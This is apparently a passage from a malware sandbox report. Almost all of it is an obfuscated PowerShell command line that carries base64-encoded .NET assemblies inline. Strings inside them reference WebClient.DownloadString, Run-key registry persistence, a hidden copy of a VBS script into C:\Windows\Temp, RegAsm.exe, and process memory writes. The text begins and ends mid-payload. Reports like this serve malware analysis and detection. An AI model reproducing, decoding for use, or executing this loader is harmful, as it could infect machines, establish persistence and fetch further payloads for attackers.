AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3380
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$LHgK = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAN2VK9EAAAAAAAAAAOAAIiALAVAAAFAAAAAGAAAAAAAAZm8AAAAgAAAAgAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAADAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABFvAABPAAAAAIAAAJgDAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAwAAABobgAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAbE8AAAAgAAAAUAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAJgDAAAAgAAAAAQAAABSAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAKAAAAACAAAAVgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAABFbwAAAAAAAEgAAAACAAUAFCQAAGwZAAABAAAAAAAAAIA9AADoMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4CKBcAAAoqJgACKBgAAAoAKqZzGQAACoABAAAEcxoAAAqAAgAABHMbAAAKgAMAAARzHAAACoAEAAAEKhMwAQAQAAAAAQAAEQB+AQAABG8dAAAKCisABioTMAEAEAAAAAIAABEAfgIAAARvHgAACgorAAYqEzABABAAAAADAAARAH4DAAAEbx8AAAoKKwAGKhMwAQAQAAAABAAAEQB+BAAABG8gAAAKCisABioTMAIAPAAAAAUAABEAfgUAAAQUKCEAAAoLBywhcgEAAHDQBQAAAigiAAAKbyMAAApzJAAACgwIgAUAAAQAAH4FAAAECisABioTMAEACwAAAAYAABEAfgYAAAQKKwAGKiIAAoAGAAAEKhMwAwAmAAAABwAAEQAoCAAABnIxAABwfgYAAARvJQAACigmAAAKCwd0BQAAGworAAYqVnMNAAAGKCcAAAp0BgAAAoAHAAAEKh4CKCgAAAoqEzABAAsAAAAIAAARAH4HAAAECisABioAEzABAAsAAAAIAAARACgOAAAGCisABioeAigpAAAKKgAbMAcABgEAAAkAABEAAHJNAABwKCoAAAoNCSwDACtFAHMrAAAKEwRzLAAAChMFEQUXby0AAAoAEQVygQAAcG8uAAAKABEFcvUAAHBvLwAACgARBBEFbzAAAAoAEQRvMQAACiYAfjIAAApymgEAcBdvMwAACgoGcvYBAHByTQAAcG80AAAKAAZvNQAACgBzNgAACgIoNwAACig4AAAKCwcoNwAACgtyCAIAcAwIck4CAHAoOQAACgwoOgAACigLAAAGbzsAAApyZgIAcG88AAAKcpACAHBvPQAAChQYjRcAAAElFghymAIAcCg5AAAKoiUXByg+AAAKom8/AAAKJt4QJShAAAAKEwYAKEEAAAreAAAqAAABEAAAAAABAPP0ABAlAAABEzACABIAAAAKAAARAAIDKCYAAAooQgAACgorAAYqAAATMAEADAAAAAsAABEAAihDAAAKCisABioTMAEAEAAAAAwAABEA0AkAAAIoIgAACgorAAYqEzABAAwAAAANAAARAAIoRAAACgorAAYqEzACAB0AAAAOAAARAAKMBgAAGxT+AQsHLAgoAQAAKworBQACCisABiomAAP+FQYAABsqJgACKCkAAAoAKgAAABMwAgA1AAAADwAAEQACe0YAAApvRwAACgsHjAkAABsU/gEMCCwUKAIAACsLAntGAAAKB29IAAAKAAAABworAAYqUgACKCkAAAoAAnNJAAAKfUYAAAoqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAAB0CAAAI34AAOAIAAAcCQAAI1N0cmluZ3MAAAAA/BEAALACAAAjVVMArBQAABAAAAAjR1VJRAAAALwUAACwBAAAI0Jsb2IAAAAAAAAAAgAAAVcVogkJDwAAAPoBMwAWAAABAAAANQAAAAoAAAAIAAAAGgAAAAUAAABJAAAAQAAAAA8AAAAFAAAACgAAAAsAAAAJAAAAAQAAAAMAAAABAAAAAgAAAAMAAAACAAAAAADuBAEAAAAAAAYAtAObBwYAIQSbBwYAiwLcBg8ACQgAAAYA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AAD/AEACAgAEAAMAAgAFAAUAAgAGAAcAAgAHAAkAAgAIAAsAAgAJAA0AAQAKAA0AAgALAA8AAgAOABEAAgAPABMAAgAZABUALgA1ADwAQwCgAFQBagF5AYABBIAAAAEAAAAAAAAAAAAAAAAAVAAAAAQAAAAAAAAAAAAAAI4BsQAAAAAABAAAAAAAAAAAAAAAjgEABQAAAAAKAAAAAAAAAAAAAACXAboAAAAAAAAAAAABAAAA5wcAAAkABAAKAAQAAAAQABQAfAAAABAALQB8AAAAAAAvAHwAiwBdAYsAgwEAAAAAAENvbnRleHRWYWx1ZWAxAFRocmVhZFNhZmVPYmplY3RQcm92aWRlcmAxAENsYXNzMQBnZXRfQ2xhc3NMaWJyYXJ5MQBNaWNyb3NvZnQuV2luMzIAQ2xhc3NMaWJyYXJ5MwA8TW9kdWxlPgBMQWJXSksAU3lzdGVtLklPAFQARGlzcG9zZV9fSW5zdGFuY2VfXwBDcmVhdGVfX0luc3RhbmNlX18AUHJvamVjdERhdGEAbXNjb3JsaWIATWljcm9zb2Z0LlZpc3VhbEJhc2ljAExvYWQAU3luY2hyb25pemVkAEdldE1ldGhvZABDcmVhdGVJbnN0YW5jZQBnZXRfR2V0SW5zdGFuY2UAZGVmYXVsdEluc3RhbmNlAGluc3RhbmNlAEdldEhhc2hDb2RlAEludm9rZQBSdW50aW1lVHlwZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBGaWxlAHNldF9XaW5kb3dTdHlsZQBQcm9jZXNzV2luZG93U3R5bGUAc2V0X0ZpbGVOYW1lAEdldFR5cGUAZ2V0X0N1bHR1cmUAc2V0X0N1bHR1cmUAcmVzb3VyY2VDdWx0dXJlAE1ldGhvZEJhc2UAQXBwbGljYXRpb25CYXNlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAENsb3NlAFN0clJldmVyc2UARWRpdG9yQnJvd3NhYmxlU3RhdGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBIZWxwS2V5d29yZEF0dHJpYnV0ZQBHZW5lcmF0ZWRDb2RlQXR0cmlidXRlAERlYnVnZ2VyTm9uVXNlckNvZGVBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFN0YW5kYXJkTW9kdWxlQXR0cmlidXRlAEhpZGVNb2R1bGVOYW1lQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBEZWJ1Z2dlckhpZGRlbkF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAE15R3JvdXBDb2xsZWN0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAGdldF9WYWx1ZQBzZXRfVmFsdWUAR2V0T2JqZWN0VmFsdWUAU2V0VmFsdWUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBGcm9tQmFzZTY0U3RyaW5nAERvd25sb2FkU3RyaW5nAFRvU3RyaW5nAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5NeVNlcnZpY2VzLkludGVybmFsAFN5c3RlbS5Db21wb25lbnRNb2RlbABDbGFzc0xpYnJhcnkzLmRsbABTeXN0ZW0AcmVzb3VyY2VNYW4AU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbgBBcHBEb21haW4AZ2V0X0N1cnJlbnREb21haW4AZ2V0X0FwcGxpY2F0aW9uAE15QXBwbGljYXRpb24AU3lzdGVtLkNvbmZpZ3VyYXRpb24AU3lzdGVtLkdsb2JhbGl6YXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ARXhjZXB0aW9uAFJ1bgBNZXRob2RJbmZvAEN1bHR1cmVJbmZvAHNldF9TdGFydEluZm8AUHJvY2Vzc1N0YXJ0SW5mbwBtX0FwcE9iamVjdFByb3ZpZGVyAG1fVXNlck9iamVjdFByb3ZpZGVyAG1fQ29tcHV0ZXJPYmplY3RQcm92aWRlcgBtX015V2ViU2VydmljZXNPYmplY3RQcm92aWRlcgBnZXRfUmVzb3VyY2VNYW5hZ2VyAFN5c3RlbS5Db2RlRG9tLkNvbXBpbGVyAGdldF9Vc2VyAEN1cnJlbnRVc2VyAGdldF9Db21wdXRlcgBNeUNvbXB1dGVyAENsZWFyUHJvamVjdEVycm9yAFNldFByb2plY3RFcnJvcgBBY3RpdmF0b3IALmN0b3IALmNjdG9yAFN5c3RlbS5EaWFnbm9zdGljcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBnZXRfV2ViU2VydmljZXMATXlXZWJTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2VzAENsYXNzTGlicmFyeTMuTXkuUmVzb3VyY2VzAENsYXNzTGlicmFyeTMuUmVzb3VyY2VzLnJlc291cmNlcwBEZWJ1Z2dpbmdNb2RlcwBTdHJpbmdzAGdldF9TZXR0aW5ncwBNeVNldHRpbmdzAFJlZmVyZW5jZUVxdWFscwBSdW50aW1lSGVscGVycwBQcm9jZXNzAHNldF9Bcmd1bWVudHMARXhpc3RzAENvbmNhdABHZXRPYmplY3QATXlQcm9qZWN0AFN5c3RlbS5OZXQAZ2V0X0RlZmF1bHQAV2ViQ2xpZW50AFN0YXJ0AENvbnZlcnQAbV9Db250ZXh0AENsYXNzTGlicmFyeTMuTXkAT3BlblN1YktleQBSZWdpc3RyeUtleQBnZXRfQXNzZW1ibHkAUmVnaXN0cnkATXlTZXR0aW5nc1Byb3BlcnR5AAAAAAAvQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMwAuAFIAZQBzAG8AdQByAGMAZQBzAAAbQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMQAAM0MAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwARABlAGIAdQBnAC4AdgBiAHMAAHNDADoAXABXAGkA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AAYW/gETFR44lP7//xEVLAZzJwAACnorJBEEewoAAAQRBygSAAAGFv4BExYfCThu/v//ERYsBnMnAAAKehEHHymUEwgfCjhW/v//EQR7CQAABBEIHtYSCRoSASgVAAAGFv4BExcfCzg1/v//ERcsBnMnAAAKehEGEQn+ARMYHww4HP7//xEYLCQRBHsJAAAEEQkoFwAABhb+AxMZHw04/v3//xEZLAZzJwAACnoEEQUfUNYoKAAAChMKHw444P3//wQRBR9U1igoAAAKEwsfDzjM/f//EQR7CQAABBEGEQogADAAAB9AKBgAAAYTDR8QOKz9//8FLQcRDRb+ASsBFhMaHxE4mP3//xEaLCkXEwwfEjiK/f//EQR7CQAABBYRCiAAMAAAH0AoGAAABhMNHxM4a/3//xENFv4BExsfFDhd/f//ERssBnMnAAAKehEEewkAAAQRDQQRCxIBKBYAAAYW/gETHB8VODT9//8RHCwGcycAAAp6EQUg+AAAANYTDh8WOBn9//8EEQUc1igqAAAKEw8fFzgG/f//EQ8X2hMdHxg4+fz//xYTHh8ZOO/8//84uwAAAAQRDh8M1igoAAAKEx8fGjjW/P//BBEOHxDWKCgAAAoTIB8bOML8//8EEQ4fFNYoKAAAChMhHxw4rvz//xEgFv4DEyIfHTig/P//ESIsWREgF9oX1o0bAAABEyMfHjiI/P//BBEhESMWESOOaSgrAAAKHx84cvz//xEEewkAAAQRDREf1hEjESOOaRIBKBYAAAYW/gETJB8gOE38//8RJCwGcycAAAp6EQ4fKNYTDh8hODX8//8RHhfWEx4RHhEdPjz///8RDSgsAAAKExAfIjgW/P//EQR7CQAABBEIHtYREBoSASgWAAAGFv4BEyUfIzj1+///ESUsBnMnAAAKegQRBR8o1igoAAAKExEfJDjX+///EQwTJh8lOMz7//8RJiwEEQYTDREHHywRDRER1p4fJjiz+///KCkAAAoa/gETJx8nOKL7//8RJywmEQR7CgAABBEHKBMAAAYW/gETKB8oOIT7//8RKCwGcycAAAp6KyQRBHsKAAAEEQcoFAAABhb+ARMpHyk4Xvv//xEpLAZzJwAACnoRBHsKAAAEKBkAAAYV/gETKh8qODz7//8RKiwGcycAAAp63l0oLQAAChYrARZFBQAAAAIAAAAUAAAAHgAAACwAAAAxAAAAKzcRBHsLAAAEhCguAAAKEysXK9MRKxT+AxMsGCvJESwsChErby8AAAoZK7sWChortigwAAAKGyuu3ggXCho4avr//wYqQRwAAAAAAABiAAAA3wQAAEEFAABdAAAAGQAAARMwAgAVAAAACgAAERcrARYsAAIDKA0AAAooDgAACgoGKgAAABMwAQAPAAAACwAAERcrARYsAAIoDwAACgoGKgATMAEAEwAAAAwAABEXKwEWLADQCQAAAigQAAAKCgYqABMwAQAPAAAADQAAERcrARYsAAIoEQAACgoGKgATMAIAMgAAAA4AABECjAUAABsU/gELFisBFkUCAAAAAgAAAA4AAAArEwcsCygBAAArChcr5SsFAgoYK94GKiID/hUFAAAbKh4CKBMAAAoqABMwAgBWAAAADwAAEQJ7FAAACm8VAAAKCxYrARZFBAAAAAIAAAAPAAAAGwAAACoAAAArLQeMCAAAGxT+AQwXK9wILBgoAgAAKwsYK9ACexQAAAoHbxcAAAoZK8EHChorvAYqYhcrARYsAAIoEwAACgJzGQAACn0UAAAKKh4CKDEAAAoqAEJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAAGgLAAAjfgAA1AsAABAMAAAjU3RyaW